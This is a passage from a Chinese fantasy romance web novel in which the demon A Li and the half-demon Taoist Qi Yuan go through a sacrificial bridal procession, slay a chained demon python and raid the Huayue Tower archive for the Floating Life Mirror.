她无比仇恨似的将无数个眼刀送去,不知何时清醒过来的男人怔在原地,看着手腕上的血痕,还有对方白皙的脖颈上的血印子,祁渊不敢回想自己方才的所做所为是何等可怖。
他竟然伤了她!
讨好似的,愣神的身体只往前走了半步便被出声呵斥。
“站着!还想挨巴掌是不是!”她用充斥着红血丝的眼睛看他,像张开獠牙的凶兽。
而这一切,都是他咎由自取。
“对不起。”嗓音沉而哑,像真心悔过,又像隐忍谋之,蓄势待发。
高大的身体在火光中一晃,径直走了过来,阿离被激得有些急了,“你!……”
又开始咳嗽,尚未止血的手掌急急地捂住嘴巴,像重伤之人才会呕出血般,触目惊心。
祁渊一个箭步冲上来抱住了阿离,蜘蛛精胆小如鼠,被对方外露的戾气吓住,连连退后,躲在黑暗里,不敢靠近。
“求你了,别打她。”当逃兵前,小蜘蛛替阿离哀求道。
阿离咳得厉害,整个人倒在祁渊身上,分不出一点力气反抗。
两人贴得紧,鼻尖除却一道淡淡的麝香萦绕,还有另外一道熟悉的气味,这是满身戾气带来的疯癫,是无法止息的杀戮之气。
这是入魔之兆啊!
他究竟在法阵里经历了什么?
“祁渊,”阿离睫羽微颤,想借周围那几分微弱的光辩清面前这人是何模样,“你可认得我是谁?”
你……是谁?
黯淡的眸光落在阿离身上,微怔,随之力道突然松了几分,唇边吐出一个名字,“阿离。”
他仿佛不是在看她,更像是在透过她看到另一个人。
那个人不似她冷淡,那个人足够爱他。
“阿离。”薄唇轻启,祁渊抬手,想碰碰对方的脸,却被对方躲了个严实。
“别怕,我不会再那样了。”似乎真的恢复了清明,他垂着头退开,像一个犯了错祈求原谅的孩子。
男人自觉地隔着距离,只见他兀自从自己身上撕下一块干净的衣料,又一分为二,一块用来帮阿离包扎伤口,一块用来小心翼翼的帮她擦去脖子和脸庞上的血迹。
但擦不干净,血干在上边,可怖极了。
阿离浑身紧绷,却抖着肩膀笑了出来,“你方才,入魔了?”
笑音止不住,狂的很。
世上少有的半步入魔之人,竟这么奇迹般的相遇相识,共处一室。
祁渊怔愣着,左右
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不是,他身上也沾了血,不知是谁的。方才阿离强行破阵,他似乎是受了反噬,或许就是因此,祁渊才会陷在梦魇之中,无法自拔,最后走向失控,暴露了半步入魔之事。
阿离有啐了一口,“大家都是半个魔头,你还要给我下毒,让我不自在,真是显着你了!”
祁渊不理她的谩骂,暗自受了,“天就要亮了。”
“我送你去取蚕丝。”
“去哪?”阿离的嗓音还是哑,也轻。但对比刚才,显然平静了许多。
“回城。”
祁渊双指掐符,唇边喃喃念咒,他的脸背着光,陷进黑暗里,阿离看不清他的神情,不知他此时是喜是悲,但左右琢磨,看不出一丝愧疚之情。
阿离转而去找藏在角落的蜘蛛精,眸间狠绝,添上了几分警告的意味。
符咒自燃而尽,只是一睁一闭眼间,周围的场景便从伸手不见五指的黑暗洞穴变成了郁郁葱葱月悬于顶的密林,几步之外,是一辆等待许久的马车。
祁渊将身上的外衣脱下,一抖一挥,披在了阿离身上。衣领微微立起,恰好挡住了脖颈间的一片狼藉。
他的眸光落在她脖颈上的红手印上,未满一瞬便怯了场,赶忙将逾矩的手收回,“蚕丝在马车里,我让师兄提前备好了。你慢些乘车回去,好好休整,别担心,日出之前马车会到花月楼的。”
阿离见状,抓住那只胆怯的手,两人就这么僵着,似乎是在比武场上对决,一进一退,好没意思。
阿离抬他的手,让他覆上自己通红的脖颈,触上的一瞬间,祁渊下意识地一缩,却被阿离狠狠地按在了上面。
“怎么,不认账?”
“你将我看作了谁?”阿离勾着笑唇,质问他。
见祁渊不答,她也失了兴致,她知道那是祁渊不想道明解释的过去,她也有。但她还是会等,等他亲口向她道明一切的那天。只是,别太久,不然她会累。
她的眼眸像她的弯刀一般锋利,刺得祁渊久久不能回神。
爱和恨一齐堵在心口,有口难言。
“明日你……”
“会来。”嗓音沉沉,语气听不真切。
“没问这个。”阿离被狠狠地噎了一下,负气似的,只扔下这四个字便拂袖而去。
乘上马车,车上果然如祁渊所言备了一盒蚕丝,阿离缄默了一瞬,一时间竟想不通自己方才为何生气。
仅仅是因为她当了替身,帮不曾相识的人受了一回罪吗?
特别是在得知他半步入魔的时候……
那一瞬间阿离的反应不是恐惧,而是……紧张。
就好像两人从前就认识,约好了生死不离。
马车渐行渐远,耳畔边的声音渐渐多了起来,面前的盒子似乎在偷偷微笑,它是吴衣记的盒子,今晨有人向老板娘购买蚕丝,单挑了最贵的蚕丝线,据客人交代,这丝线是用来赶制嫁衣的,老板娘挑了它来承这对新人的喜,是福气。
“乐什么?我嫁的是恶霸,可不是什么心上人。还福气?做你的春秋大梦去!”
被阿离一通恶言恶语挤兑完,盒子不笑改哭,丧气的很。
外边的车夫闻言不禁叹气,原来方才两人是在城外偷情。女子嫁给不中意之人,若是对方知书达礼还好,但对方竟是恶霸……
世上又少了一对有情人。
13. 七日盛宴(六)
不知花月楼制衣的巧工从何得来,日出方才拿到的蚕丝,徬晚便做成了成衣。
伸手摸去,还当真是用昨日盒中那上好的蚕丝制成的布料,轻而不皱,就连衣服的款式也是用金丝纹上的古书中十二魔的花纹形象。
阿离披上嫁衣,红妆点绛,还未戴上金钗,便听见门边传来一声咳音。抬头一见,正是祁渊。
阿离屏退一众丫鬟,只剩两人时,气氛倒是莫名的尴尬。
“昨日之事,我来道歉。”
阿离不想理他。
祁渊:“我是天生半魔之躯。师父收我为徒,引我入山,教我道法,一是为了克制这一身魔体,二是为斩妖除魔,扫尽天下不公。”
“你师父的理想真伟大,不过这些,你不必同我说。”
“昨日是我不对。”
阿离转头看他,眼中不知闪过何种思绪,“半魔之躯,从哪寻来的借口,如此拙劣。”
凡人天生‘半魔之躯’,竟还能活到现在,也是稀奇事一桩。
因下毒一事,阿离没那么容易原谅祁渊。但哪知祁渊下一句话,却叫她一怔。
“昨日未经缓解,想来也快到了毒发的时辰。”
“你!”气愤的妖怪骤然将梳妆台上的木梳一砸。
“总算是生气了,这可比不说话好。”
“我奉承你有何用?反正你也不会轻易将灵力给我。”阿离从椅子上起身,提着身上的红色嫁衣。
祁渊比她高出不少,此时居高临下,却眼睑低垂,沉声说:“对不起。”
听了这一声,阿离整个人舒畅了不少,鼓着嘴嘲讽,“你哪里是来道歉的,分明是来羞辱我的。”
“使者大人还不满意?那我今日便好好奉承一番,可好?”
话音刚落,下一秒,她被祁渊猛地抱住,身子没站稳,以为痊愈的脚踝突然传来一阵刺痛,阿离紧皱眉头,往祁渊的方向借力忍痛,遂而也环抱了上去。
这个动作在祁渊看来无疑是代表了原谅,他的臂膀微微发力,将怀里的人圈得更紧了。
“你今日,很好看。”
这句话音出来的时候,阿离整个人又懵了。
阿离自认眼光毒辣,阅人无数,但像祁渊这般如九天谪仙人一般的美色,阿离的确少见。记忆中有两人可与他一比,一个至亲之人,一个已死之人。
理智在失去的瞬间就被阿离拉了回来,“这就是你的奉承?”
“还有。”
男人底下头颅,气息一一在额头、眼睫、脸颊、鼻尖上落下,最后乱在了那双蜜色唇瓣之上。
那抹熟悉的灵力很快便从他体内渡了过来,缠缠绵绵般,像回暖解冻的潺潺流水,一吻不长,却比以往都要温柔。
这回的灵力竟然讨要得这般顺利!
阿离睁开眼睛,问了对方一个莫名其妙的问题,“祁渊,我们从前是不是认识?”
今日她思来想去,终于想起了在自己的记忆里,有一段是被遗弃的。
那段她怎么也回想不起来的,被她所仇恨的记忆。
“不是。”
阿离的神色一僵,整个人怔在原地。
祁渊用他那双筋骨分明的手将阿离从他身上扯下,一番动作下来,就好像刚才飞过来要抱她的人不是他一样。
“我今年年岁不过二五,和师兄第一次下山,怎么会认识你呢?”
“若是认识,初见自是不用拔刀相向。”
“但若真的见过,怕是在梦里。”
他的语气真切,又诚实。挂在嘴边的笑容,更是伪装得毫无违和。
“梦?”阿离的眉头皱得深,“什么梦?”
“不记得了,是幼时做过的梦。”
“如今只记得,梦里迷迷糊糊有个身影,如今仔细想想,的确有几分像你。”
这确实是个好理由,可世间又有几个人与她相像?
半晌,阿离从祁渊怀里离开,兀自回到了梳妆台前。
手上挑起一根金钗,往后一递,祁渊自然地握进了手里,蹲下身子,将钗子小心翼翼地簪进阿离的发髻。
动作之熟稔,像是老夫妻之间才有的默契。
“说谎。”
祁渊一顿,手停在半空,一时间竟忘了收回来。
阿离盯着镜中愣神的男人,猛地转头,咬上了对方的薄唇。
她这一咬是带了狠劲的试探,唇齿相撞,只为将对方的呼吸一一吞食。
祁渊由着她放肆,强迫自己将身体的冲动压制于拳心,她是记得的,对不对?
心中的疑惑成为杀死自己的最后一剑,他回吻她,用春风吹又生的爱。
***
七日盛宴最后一日,扬州城里锣鼓震天响,一只送亲队伍从花月楼出发,如长龙似的往城外去。
祁渊骑马走在队伍最前,一袭墨色衣袍被风鼓满,仿若扬天巨幡,应和着周遭喜庆的鼓声与唢呐,天光照拂而下,他的脸庞线条分明,显得硬朗而英俊。
此次游街有了花轿遮挡,阿离倒是放松了不少,此次不知花月楼在何处设了陷等着他们,得多加小心才是。
一程山路遥遥,一张地图,将一对喜气的队伍往深山幽谷中引去。自出了城,祁渊便牵马将步子放缓,与新娘子的花轿持平。
阿离摘去盖头,将头探出。
阿离:“还有多远?”
祁渊:“不到半个时辰。”
阿离:“可看出附近有什么异样吗?”
祁渊:“此处地气厚,可镇邪祟。”
“莫非此地真封了魔神?魔族陨落近千年,花月楼怎会与它们有联系呢?”阿离沉思道。
“魔族尚血,待会切记不能受伤见血。”
“你怕我和那魔神定了婚契?”阿离嘴角抿着笑意,眼尾微微上扬。
“你不是要找浮生镜吗?找到了,一切自会水落石出。”
浮生镜是上古神器,素有“一梦一千年,镜中找浮生”的说法,阿离想寻妖心,必须借用浮生镜的威力回忆起前世,而浮生镜藏在花月楼,无论如何,刀山火海她也要闯一番。
“找不到,我便认你是我那前世的小夫君,有何不可呢?”阿离双手撑着抹了胭脂的桃红色脸颊,笑意盈盈地紧盯着对方逐渐红透了的耳根子。
跟你奶奶玩感情,还是嫩了点!
骤然,稳当的花轿猛地晃了一下,阿离没撑着,摔了个底朝天。
“来了。”祁渊抽出金色长剑,说道。
耳边刀剑铮然,红盖头被风一呼,落在了脚边,发髻上的鎏金步摇随之猛然一晃,哗啦一声,猝不及防地砸在了眼前。
祁渊不知是何时
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消失的。
似乎就在阿离坐稳身子的一瞬间,两人之间骤然撕开了一道裂痕,天旋地转,隔开了两个世界。
花轿不知被什么抬着。
一阵风吹来,掀起大喜帘子的一角,阿离往外看去,发现花轿竟是悬空着的。
眸底不再含有笑意,阿离唤出赤羽,全神贯注地观察着周围的一举一动。
红花轿像生了双脚,正鬼畜地自己往山上走,风声摇曳,似乎是有孩童在幽幽地低声吟唱着什么——
七日盛宴好日子,
花魁新娘嫁魔神,
花轿上,新娘泣,
魔神听了心欢喜,
山岗上,不归路,
盖头掀了,
空欢喜~
“嘻嘻嘻嘻嘻嘻……”
在下面!
阿离手起刀落,没有半分犹豫,整个花轿被凶悍的妖力炸开,花轿之下的妖魔鬼怪也被余威震至半空,无所遁形。
这是一种名为鬼哭婴的小魔,身形外貌与凡间婴孩一般无二,叫声如婴儿啼哭,遂名哭婴,又因它们生于魔域,天性好恶,力大无穷,最喜欢吃食小孩的眼泪,如同半夜鬼魅,而增名鬼。
见状,阿离眉心一蹙,起了疑心。魔域大门在千年之前被妖神封闭,按理来说现下封印未松,依旧是天下无魔才对,为何这小魔竟会出现在此处?莫非是漏网之鱼?
四个鬼哭婴满脸皱纹,如七旬老人的面庞对着阿离,哇然一叫,小小的身体如狼一般猛然蹦起,眼看就要扑在阿离脸上,骤然,红光一闪,方才一通威武的小魔顿时化作了一团黑雾消散了去。
见同伴霎时间尸骨无存,余下的三个小魔声息逐渐减小,几对黝黑的眼睛均十分警惕地望着阿离手中的赤色短刃。
这把短刃竟可斩除虚幻的魔气!
察觉到了三只小魔的畏惧,阿离挑眉一笑,双目蒙上了一层冷意。只见纤细的手腕巧然一转,数魔尽斩于刀下。
狭小的天地里,风声如雨声般发出急切残响,连绵不绝。
将赤羽提到面前,指腹摩挲过锋利的刀身,阿离记得自己曾有一个名号,尽管不甚喜欢,但这个名号的确贴切。
——玲珑玉面,赤羽妖神。
千年以前,妖神为封魔而陨灭,天族却恩将仇报除却妖神之位,从此世间再无妖神。
所以这“妖神”之名,阿离不认,那时的她意气风发,锋芒毕露,提着赤羽便将那随意取名的妖怪吊起来挂了三天两夜,之后,这赤羽妖神的名头便算是彻底废了。
离了花轿,阿离这才注意到自己正处于一个幽黑的山谷之中,面前是一片深不见底的大湖,大湖之中生了一颗枯树。
枯树的枝干横飞,似乎还能在微末之间看出曾经的生机盎然,只是岁月不再,生与死的界限早已明晰。
见此番场景,阿离终于理解了祁渊那句“地气厚,可镇邪祟”。此处地气既然可养育参天巨树,可见镇邪祟之说并非虚言,只是巨树已死,地气已散,那么被镇压的邪祟呢?
想到这里,湖中应景的传来了一声低吼,枯树簌簌而动,阿离的目光紧盯着湖中央,那整暴躁地往外抖动着波纹,一潮又一潮,如海浪。
如果她没看错,幽深的湖中应该困着一只魔兽。
这便是花月楼口中的‘魔神’吗?
14. 七日盛宴(七)
这‘魔神’离不开湖,更无法摆脱压在自己头顶的巨树,以往的花魁,想必都是被鬼哭婴推搡而落湖,才造成了被魔兽蚕食的悲剧。
身上宽大而隆重的嫁衣穿着妨碍行动,阿离便将外衣和头上的金簪一一褪下,扔在随身携带的乾坤袋里,终于卸去了头顶的重量,阿离得以舒服的呼了口气。
做完这些动作后,阿离正要将乾坤袋系回腰间,忽然瞧见依旧挂在身上的丑荷包。
说来这丑荷包还是祁渊赠予的,作为她辛苦吃药的酬劳。这几天以来,这个丑荷包一直放在阿离身上,奇怪的是,阿离似乎从没有撇开荷包的冲动。
小小的荷包上附着一种很奇特的气息,像久病之人的药膳里一味不可或缺的药材,这几分气息,在不知不觉间安抚着她身体里那个空缺的地方,灵力因为这气息似乎开始回转,如暖流般流淌在她的血脉之中。
祁渊,分明只是个凡人道士,为何总做出一些让她意想不到的事情?不管是有关于妖界使者的身份,还是花月楼在背后的龌龊勾当,亦或是那叫她头疼的毒药,还有这荷包上的气息。世上不会有那么多意外,阿离不信祁渊所做的一切都是巧合,她相信这奇怪的一切都是有缘由的,和她失去的记忆有关。
冤有头债有主,只有找到浮生镜,就能确定最终的正确答案。
随着一声扑通,幽深静谧的湖面掀起一阵圆盘似的波澜,经久不散。
湖中巨树直插地底,如今它的根却被那头魔兽硬生生撑了起来,暴露在冰冷刺骨的湖水之中,深潜再看,四周还有四根布满经文的铁柱,铁柱之上是条条玄铁链,往巨树的方向,一截在水中,一截被埋入地底,似乎正是束缚那头魔兽的枷锁。
阿离屏息,本想趁魔兽不备悄然靠近,利用赤羽的除魔之力,刺死魔兽,可不料,湖水的搅动惊醒了它,一只巨大的紫色魔瞳骤然睁开,又是一声低吼,阿离竟被它强震开,脊背不慎撞上了冰冷又坚硬的湖中石壁,疼得发抖。
再看,那埋于土中的魔兽竟然能够摆动自己的身体,挣开土地,顶着巨树猛然抬头,这时阿离才惊觉,巨树的根早已被这只魔兽食了个干净,除开头顶这种碰不到摸不着的地方的根,能束缚魔兽的,便只剩四周的玄铁链。
但……
顾不得其他,阿离开始奋力向湖面游去,谁曾想这么一个动作竟然将沉睡的魔兽彻底惊醒,四条玄铁链发出金属的沉闷响声。
原本平整的湖底因为这个庞然大物的起身骤然崩塌,四周湖水如漩涡似的涌向崩塌的湖底,形成一股强大的引力,将快要逃出生天的人又往回猛然一拉。
千钧一发之际,露出湖面的手腕上被套上了一根藤蔓,在阿离将要被吸回去的时候,藤蔓被人拉直,阿离便被它从强大的漩涡里抽了出来。
重新回到陆地,阿离呛了几口水后,心中不由升起一阵心悸。
好险!
手腕上的藤蔓被祁渊收回变回了一个圆环,阿离被祁渊搀扶起身。
“没事吧。”一道烘干符施下,阿离身上迅速变得干爽起来。
阿离摇头,眼睛却不动声色地盯着祁渊手上的圆环。
这是月影藤,藤身是皎洁的月牙白,生于九幽之外的月影池旁,那是人外之境。
短短数秒,偌大的湖泊中的湖水已被抽干了大半,魔兽顶着巨树伸出头来,阿离才得以看见它的全貌。
该魔兽体型庞大,形似蟒蛇,头顶半截鹿角,周身布满了深紫色的毒液,古书上记载其名为九幽地冥蟒。
湖底的四根玄铁链竟是以一种穿过身体骨肉的形式牢牢将其束缚,此时四根玄铁链被狂躁的蟒蛇剧烈地晃动着,几番折腾,倒是让原本便血肉模糊的蛇身与玄铁紧紧交、缠了起来,似乎下一秒就要被震断一般。
“放心,凭它的力量暂时摆脱不了玄铁印。”
阿离顺着祁渊的目光看去,发现四根玄铁的确坚韧无比,不论魔兽怎样挣扎,都只有被勒的份,再往下看,崩塌的湖底围绕着魔兽竟能呈现一个尸坑的形状,泥泞的湖床上,尸横遍野。
“她们,都是花月楼送来的花魁?”
阿离紧着眉头,不敢想这些女子在被活生生撕碎的时候会有多痛。
阿离:“这畜生要如何杀?”
“砍蛇砍七寸。”祁渊腕上一转,一把金色长剑现出,神光浮现。
“现今有玄铁束缚,这魔兽身上的魔气自是无法释放,不必担忧,小心它身上的毒液,不要受伤。”最后半句,深邃的瞳孔里泛出幽幽的光,语气里沾满了忧心的思绪。
“自然。”
得了许诺,祁渊挥剑而去,剑鸣三声,如凤凰之息,不绝于耳。他与手中的长剑似是融为了一体,剑意森然,剑势如虹,拧身而出,锋利的剑锋如山般倾倒,直直刺进了魔蟒的眼睛。
魔蟒仰头一声长啸,嘶嘶一声,以头相迎,祁渊提剑相挡,这才不至于被撞飞。
这边将魔蟒的注意力尽数吸引,那边阿离身子轻盈地游走在魔蟒的庞大身躯之上,来到那树根的位置,阿离将赤羽往空中一抛,汇聚妖力使赤羽以短刃之身挥长刀之能,刀身随着树根斜刺于顶,竟然将魔蟒逼得浑身颤栗。
阿离拔刀而起,下一刀精准无误地插进了魔蟒的七寸之间,但是,还不够
只见她凌空而起,将源源不断的妖力汇入赤羽,短刃在巨大的长蛇身躯里疾进而出,刀法凶残无比,每刺一寸,坚硬的鳞片下瞬时间喷涌出无数毒液,阿离轻盈躲过,竟神奇的未染上一滴。
金色长剑紧随在旁,抓准了时机将躁动的尾部迅速钉在地上,不予反抗。
赤羽可化魔气,随着方才这几通贯穿,魔蟒的气息逐渐在痛苦的嘶叫声中褪去。
浑浊的紫色眼珠里,竟然现出了几分绝望求生之意。
“花月楼想用你这种凶残之魔做什么呢?不要妄想会有人来救你,看看你身下的罪孽,这是你应得的结果。”
奄奄一息的魔兽不甘地盯着眼前的妖怪。
一番折腾,眼前的魔兽早已失去了反抗之力,身上的毒液在慢慢流干,也因赤羽的化魔之能失去了作用,阿离来到魔蟒面前,手中是沾满了毒血的赤羽。
“而花月楼,罔顾他人的性命,私自滋养魔兽,其心当诛。”
余下的眼睛猛然一痛,是那把赤色短刃捅了进来!
千年之前,也是这样的血色……
“阿离!小心!”
奄奄一息的魔蟒在生命的最后一瞬将自己的内丹吐了出来。身为毒蟒,它的内丹自然是剧毒之物。
这内丹本该是送给阿离的大礼,却被祁渊抬手一挡,一颗毒丹就这么被布满纹路的掌心吞了进去。
“祁渊!”
阿离见状,心下一急,一掌将可恶阴险的魔蟒送去归西,又急急地将祁渊带回了湖岸之上。
“你怎样?”施力将攥紧的手掌掰开,阿离这才发觉祁渊的掌心竟被毒素浸了个通透。
方才内丹融进手掌的瞬间,祁渊便迅速运转内力抑制了毒内丹的扩散,所以如今毒素深种的手掌只是表象,而祁渊面对阿离着急的关切,却皱着眉头胡诌了一声,“很疼。”
闻言,阿离更是紧张了,迅速抓起赤羽,往祁渊手掌上砍去。
“慢着!”
“慢不了,到时毒素侵身,命都没了!”
“我明白,只是方才,我已将毒止住。”
“这是何意?”阿离盯上祁渊的眼睛,眸中含怒。
尚停在面前的宽大手掌被阿离啪地一声打落,“既是如此,道长便自己运用内力治伤吧,喊什么‘疼’?”
祁渊怔了一瞬,兀自将手收回,嗓音沙哑,似乎还有些撒娇的意味,“真疼。”
阿离实在不敢相信面前这人竟会这般不要脸,她抬头,对方睫羽低垂,漆黑的眸子如深夜星辰,亮着莹莹白光,明镜般的眼眸,只映了她的影子。
他撒娇时脸不红心不跳,看上去像惯犯。
阿离鄙夷。
“我救人,向来要有足够的酬劳。”
“医者仁心,救人怎能单讲酬劳。”
“我并非医者,而是杀手。你想让一个杀手救人,不给钱?怎么行?”
祁渊看着她一本正经地模样,噗呲一乐,“好啊,小杀手,想要什么?”
“月影藤。”阿离脱口而出,这倒是让祁渊忍不住愣神。
他用那双黑沉沉的眸子看着面前的妖怪,眸底不知闪过何种思绪,最后薄笑了一声,点头应了。
“这是我从师父的法器库里淘出来的,阿离大人见了眼熟,可有何见解?”祁渊说着,便将月影藤呈于阿离手中,语气奉承。
阿离满意的将手中的月影藤对着太阳打量了一番,脸上带着浅浅的笑容,“月影藤生在人外之地,靠近天界,像我们这种小妖怪自是少见,上回在妖市远远的瞧了眼,你猜猜,值多少钱?
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”
忽然被问,祁渊倒是没准备好,“妖界不以白银交易,若是以白银作比,可有一车?”
阿离又瞧了眼祁渊,“也许有吧,十几块黄金的样子,还是值的。想不到这小小一根藤蔓竟被打造成手环,具备美感的同时又可以当作法器,若是拿去妖市卖,说不准还可以翻一倍价钱。”
“既然大人开心了,可否考虑动刀?”祁渊将手掌摊开在阿离面前,骨节分明的手曾掐过她的脖颈,温热留存,想来还真是瘆人。
“自然。”
阿离将月影藤收进乾坤袋,随后用左手握住祁渊的手指,这是为防刀落不准,刺伤了其他地方。
因为方才下了水,尽管衣物被尽数烘干,但身体还没有回暖,恰逢山中阴凉,阿离的手冷得像十二月的雪,触碰的瞬间,祁渊也忍不住惊诧。
但他没躲,等到冰冷又瘦小的手将他的温热圈住,再贪心地从中汲取温暖,他假装镇定,眸底却闪过一丝不易察觉的笑意。
赤羽被主人用一个不同以往的姿势握在手里,刀尖稳稳刺入祁渊因中毒而鼓起的掌心,然后微微一动,划开一道不大不小的口子。
“这手,还留得住吗?”她眉心微皱,看上去有些紧张,但话音不高,像自言自语,遮掩不愿被病人听见的噩耗。
祁渊恐吓道:“第一次救人么?小杀手。你再不动手,留不住的就不单单是我这只手了。”
似乎真的被激到了,只见她两指迅速点了手臂上的穴道,再以妖力沿着穴位相逼,将毒血尽数引到了掌心的刀口处。
黑色的血如落雨似的,滴滴答答地聚到了一起。
余毒难清,阿离只好低头用嘴唇将其一一吸出,再吐到旁边。娇嫩的粉唇触上温热的手掌,心上如有石子落湖,惊起波纹涟涟。
男人的手掌微微收着,耳根连着心尖一道痒了起来。
不多时,阿离成功清完余毒,拭去唇上的毒血,这才松了口气,道:“赤羽只可化魔,不可解毒,如今将毒逼出的法子,只能将毒发的痛苦减轻,若想根除,必须寻到解药。”
“俗话说,若遇毒蛇,三寸之内必有解药。这蟒蛇生于魔界,倒真不知解药是何。”
“所以,为何护我?”
哪怕是很久之后的现在,祁渊依旧觉得阿离的眸子是冷的,她从不抬头,也不愿接受阳光的温暖。他暖她一阵,她便暖了一阵,一阵之后又变冷了。
他道:“没有为何。”
就像他曾经喜欢她一样,他也不知道究竟为何。
只知是她,他便能够毫无保留,豁出性命。
***
眼下祁渊中毒,寻解药变成了要紧事。
想来花月楼怎么也想不到,自己苦心饲养的魔兽竟会被一个初出茅庐的绿衣使者和一位名不见经传的道士杀死。
两人秘密回到扬州城,藏身于一处小别院。
院子刚盘下,尚未来得及取名字,只是院中鸟语花香,各式家具一应俱全,全然不似尚未安置的新宅。
“姜师兄可是有什么来历?”阿离兴奋的用手肘戳了戳祁渊,满眼好奇。
“未曾听师兄提起,只知道他的老家在洛阳。”
“洛阳!那可是好地方啊!”
阿离一路蹦蹦跳跳地进了内府,那竟摆开了一桌子好菜。
姜满昨日夜观天象,得知两人定会平安归来,便一早出门买好了菜,亲自下厨,为二人接风洗尘。
阿离只觉不可思议,像占卜这类玄之又玄的东西,阿离只见族中的老人侍弄过,阿离向来是避而远之的。
尽管眼前一片温馨,但阿离还是忍不住问道:“那百万赏钱,就花在这里了?”
姜满笑道:“自然不是。”
祁渊瞧了眼阿离喜上眉梢的神情。
“我们并未拿走赏钱,佛曰,救人一命胜造七级浮屠,我们了却刘老爷的一桩心愿,若还要接受他的万贯家财,实在是小人作风。”姜满一副儒生装扮,可长得却不文雅,反倒一副贵公子的模样与气质。
不搭,实在不搭。
阿离埋头吃了两口饭,嘴唇一动,将祁渊中毒的事情全抖了出来。
姜满大惊,对着祁渊就是劈头盖脸一顿骂。
祁渊自觉实力不济,干脆埋头和阿离一道吃饭。
“师兄做的饭好吃,多吃点。”
一只鸡腿被夹进了碗中,阿离合理怀疑,这鸡腿有毒。
15. 莲花妖丹(一)
天下闻名的花月楼临江而建,江风徐徐而来,像温婉多情的女子。
浓浓夜色中,两道影子趁深夜无人一路沿江寻去,最终在江心亭子之下,找到了一处密室。
风声一呼一应,江心亭子处重归寂静。
江心亭下别有洞天。几乎是感应到有气息进入的那一瞬,黑暗的洞穴里骤然亮起火盏,照亮了前方似乎是无穷无尽的路,装满密档的柜子在眼前摆开,像迷宫。
阿离并不觉得这是什么好征兆,于是她一挥手,周围亮起的光亮立马暗了下去。
火折子啪嗒一声,将阿离的脸照得温暖,“分头行动。”
花月楼是妖界的情报局,这里收集了三界之中太多的秘密,多少人为之眼红,却不曾想它的存在这般不受重视,走了大约半刻钟,一个守卫都不曾见到,阿离在心底唏嘘了一番。
阿离对满墙的秘密不以为意,叛变之人会有什么样的下场,她再清楚不过。
她走得闲庭信步,唯一复杂的动作只是在心中默念着离开妖都时背下的字条,“左转第五个洞口,顺数第七行的格子。”
阿离摸着墙壁,很快来到了对应的位置。她全神贯注地数着面前的格子,全然未注意到身后的黑暗里闪了一下。
格子很高,阿离很努力的踮起脚尖去够也没有成功。只差一点。
突然,格子上按下了一只手,一股极轻的气息落在了阿离的头顶上,她浑身一僵,双目圆瞪,只一瞬,右手握住了本命神武赤羽,锋利的短刀在半空化作一道血色朝对方脖颈处挥去。
对方像是蛰伏已久的猎人,早已做好防备。于是那人就这么轻而易举的避开了刀刃。
只见刀子在阿离的手腕处一转,一记杀招喝出,那人以肉身相搏,吃力的接下几招后,遇上时机制住了阿离的手腕,然后朝着某一穴位用力一按。
阿离吃痛地失了声,怨恨的情绪从眸底钻起,刹时带来了无数杀意。
那人还未松手,只是蛮力地拖着阿离让她被迫靠在柜子上,高大的身形携带着危险,让人本能的感到恐惧。
这时,各处分散着的萤火聚起,缓缓朝他们映去。
阿离死死地盯着对方的脸所在的方位,当幽幽的萤火照来时,她的神情微滞,心口忍不住一跳。
只见这人剑眉星目,鼻峰高挺,荧光落下的微弱灯光照出眉骨下阴影,一股苍傲凌然之气,再细看,只道一副俊俏儿郎模样。
阿离眉心微皱,对面前之人的出现表示不满,“不是说好分头行动吗?”
“不是说好找解药吗?阿离在找什么?如此紧张。”
他的嗓音沉沉,却好似能够摄人心魄。
阿离:“自然是解药。”
祁渊:“看样子,是找到了?”
压在手腕上的力道松了,飘忽的萤火将要散去。
阿离捂着自己的手腕,上边已然传来些许疼痛,她忍不住皱起眉头。
这道士还真舍得下狠手!
两人的视线在空中交流了一瞬。
“我确实没想找解药。”阿离率先怯场。
“你在找浮生镜?”聪明的凡人立马道出她心中所藏。
阿离没话说,直白道:“顺数第八行的格子里,浮生镜就在那儿。”
她边说着,边见祁渊打开了格子。以他的身高做起这事来很轻松。然后他伸手,从里面掏出了一卷巨大的卷轴,递给阿离,再探去,却没有找到阿离口中的那面浮生镜。
说此时那时快,阿离一记掌风直往祁渊心脏处袭去,祁渊闷哼一声,捂着心脏直往后退。
这一记力道十足,让中伤之人瞬间没了反应之力,他先是听见地面发出一声沉闷的声响,再是看着她身体一轻,向上一蹦,从第七个格子处取出了一面古镜。
此时萤火已彻底消失,黑暗中他似乎听见了一声轻笑。
她道:“两清了。”
阿离伸手扶他,不料祁渊却捂着心脏骤然吐出了一口血。
见状,阿离又是一句冷嘲,“身子真差。”
祁渊气笑了,“呵,的确扛不住大人的阴招。”
楼内警铃声大作,花月楼上下为此乱成了一锅粥。而这一切的罪魁祸首早已逃出生天。
昨日夜闯花月楼一事,看似情深义重的戏码,实则心怀鬼胎,谁都不是奔着解药去的。
如今阿离手里拿着一块不知真假的浮生镜,平日里还要多分一份心思出来,以防某个道士偷盗。
祁渊负伤归来,倒是给姜满这个半吊子神医出了道难题。
“你这伤,伤的奇怪,这人想必是个让你毫无防备之人,否则不会受伤,更不会伤到心脏。”
“不过这人也没存杀心,要不然,你真的会回不来。”
几枚银针稳稳扎在祁渊的穴道上,却始终未能安抚凌乱的内心。
此时阿离就在屋子外边,绯红的发带时不时被风拍打在窗棂上,露出鲜活的影子。
姜满手里有一本古籍,恰巧记了魔族之事,昨夜姜满翻找过后,寻到了解毒之法。而祁渊,却自作主张将此事隐了下来,转而听从阿离的建议,去花月楼藏宝阁寻解药。
他知道阿离要去找浮生镜,所以设法跟随,让此举,成了两人间的第一道隔阂。
——互不信任。
“现下这伤好治,毒就未必了,每半月毒发一次,算算时日,马上就会到毒发之日,若是寻不到灵瞳花,你这眼睛,得废。”
九幽地冥蟒生于魔域,除一身能够将万物腐蚀的毒液,便只有一双可视万里、食人精魄的魔瞳值得一惧。
这也是二人临走之时,一定要剜下眼睛的原因。
古籍记,若人吞食九幽地冥蟒的内丹,可生魔瞳。但魔瞳得之不易,此间,需历劫一番苦楚。毒发之时,身心痛苦的人往往因为忍受不住而选择自我了断,或是剜下双眼。
若是可以寻得灵瞳花,化解蛇毒,便是上上签。
大门被猛然推开,阿离直闯了进来,携着满院梨花香,“我知道一个地方有灵瞳花。”
***
妖族喜爱热闹,成日化形混迹在人群之中,久而久之,自然分辨不出这大街上哪个是妖、哪个是人。
大家都藏好了气息,但免不了有心之人窥探。
